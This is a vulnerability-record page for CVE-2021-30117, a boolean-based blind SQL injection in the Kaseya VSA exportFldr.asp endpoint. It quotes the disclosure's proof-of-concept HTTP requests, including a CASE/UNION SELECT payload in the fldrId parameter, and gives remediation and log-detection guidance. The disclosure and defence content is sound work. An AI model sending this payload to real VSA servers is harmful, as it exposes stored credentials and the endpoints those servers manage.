Vulnerability record · CVE-2021-30117 · published 9 July 2021
CVE-2021-30117: Kaseya VSA exportFldr.asp SQL injection via fldrId
Kaseya · Vsa
The /InstallTab/exportFldr.asp endpoint in Kaseya VSA is vulnerable to boolean-based blind SQL injection through the fldrId parameter. The flaw is described as semi-authenticated because the request requires a sessionId cookie, which in the supplied example was obtained through CVE-2021-30116. Successful injection lets an attacker read database contents through true/false response differences.
Description
The API call /InstallTab/exportFldr.asp is vulnerable to a semi-authenticated boolean-based blind SQL injection in the parameter fldrId. Detailed description --- Given the following request: ``` GET /InstallTab/exportFldr.asp?fldrId=1’ HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Where the sessionId cookie value has been obtained via CVE-2021-30116. The result should be a failure. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 19:12:11 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 881 <!DOCTYPE html> <HTML> <HEAD> <title>Whoops.</title> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <link id="favIcon" rel="shortcut icon" href="/themes/default/images/favicon.ico?307447361"></link> ----SNIP---- ``` However when fldrId is set to ‘(SELECT (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END))’ the request is allowed. Request: ``` GET /InstallTab/exportFldr.asp?fldrId=%28SELECT%20%28CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%20%28SELECT%201%20UNION%20SELECT%202%29%20END%29%29 HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; ``` Response: ``` HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 17:33:53 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 7960 <html> <head> <title>Export Folder</title> <style> ------ SNIP ----- ```
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Automated analysis
high priorityCVSS 8.8 and a 99.4th percentile EPSS score indicate a serious, likely-exploited SQL injection, though it requires a valid session and is not in KEV.
What it is
The /InstallTab/exportFldr.asp endpoint in Kaseya VSA is vulnerable to boolean-based blind SQL injection through the fldrId parameter. The flaw is described as semi-authenticated because the request requires a sessionId cookie, which in the supplied example was obtained through CVE-2021-30116. Successful injection lets an attacker read database contents through true/false response differences.
Impact
An attacker with a valid session can extract arbitrary data from the VSA database, including credentials and configuration, and may be able to modify or delete data depending on database permissions. This can enable lateral movement into managed endpoints.
Attack surface
Reached over the network via a crafted GET request to /InstallTab/exportFldr.asp with a malicious fldrId value. Authentication is required in the form of a sessionId cookie, but no user interaction is needed.
Exploitation
Not listed in CISA KEV and no ransomware use is documented, but EPSS is 0.72054 (99.4th percentile), indicating a high likelihood of exploitation activity. The record contains no public exploit reference beyond the advisory.
What to do
- Apply the Kaseya VSA 9.5.6 update referenced in the vendor release notes.
- Rotate all VSA credentials and session tokens, and invalidate active sessions, since sessionId values may have been compromised.
- Restrict network access to the VSA web interface to trusted management networks only.
- Review and harden database account permissions used by the VSA application to limit read/write scope.
- Monitor for and block requests containing SQL syntax in the fldrId parameter.
Detection
- Search web logs for requests to /InstallTab/exportFldr.asp with fldrId values containing SQL keywords, quotes, or CASE/UNION/SELECT patterns.
- Alert on HTTP 500 responses followed by 200 responses to the same exportFldr.asp endpoint from one source.
- Monitor for anomalous sessionId cookie reuse across different source IPs or user agents.
- Audit database query logs for boolean-based blind injection patterns originating from the VSA application.
This assessment is produced automatically and is not human-reviewed. Verify against the vendor advisory before acting on it.
Affected products
1 vulnerable configurations from NVD's CPE data, grouped by vendor and product.
References
| Link | Tags |
|---|---|
| https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ | Third Party Advisory |
| https://helpdesk.kaseya.com/hc/en-gb/articles/360019966738-9-5-6-Feature-Release-8-May-2021 | Release NotesVendor Advisory |
| https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ | Third Party Advisory |
| https://helpdesk.kaseya.com/hc/en-gb/articles/360019966738-9-5-6-Feature-Release-8-May-2021 | Release NotesVendor Advisory |
Track CVE-2021-30117 inside VULONE
Watch it alongside the ransomware crews, C2 infrastructure and forum chatter that reference it, query it through the API and pull it into your SIEM over TAXII.
Related vulnerabilities
Same products first, then exploited flaws of the same weakness class.
Source: NIST National Vulnerability Database (record CVE-2021-30117), CISA KEV, FIRST EPSS (scores of 2026-09-26). This page is refreshed as NVD updates the record.
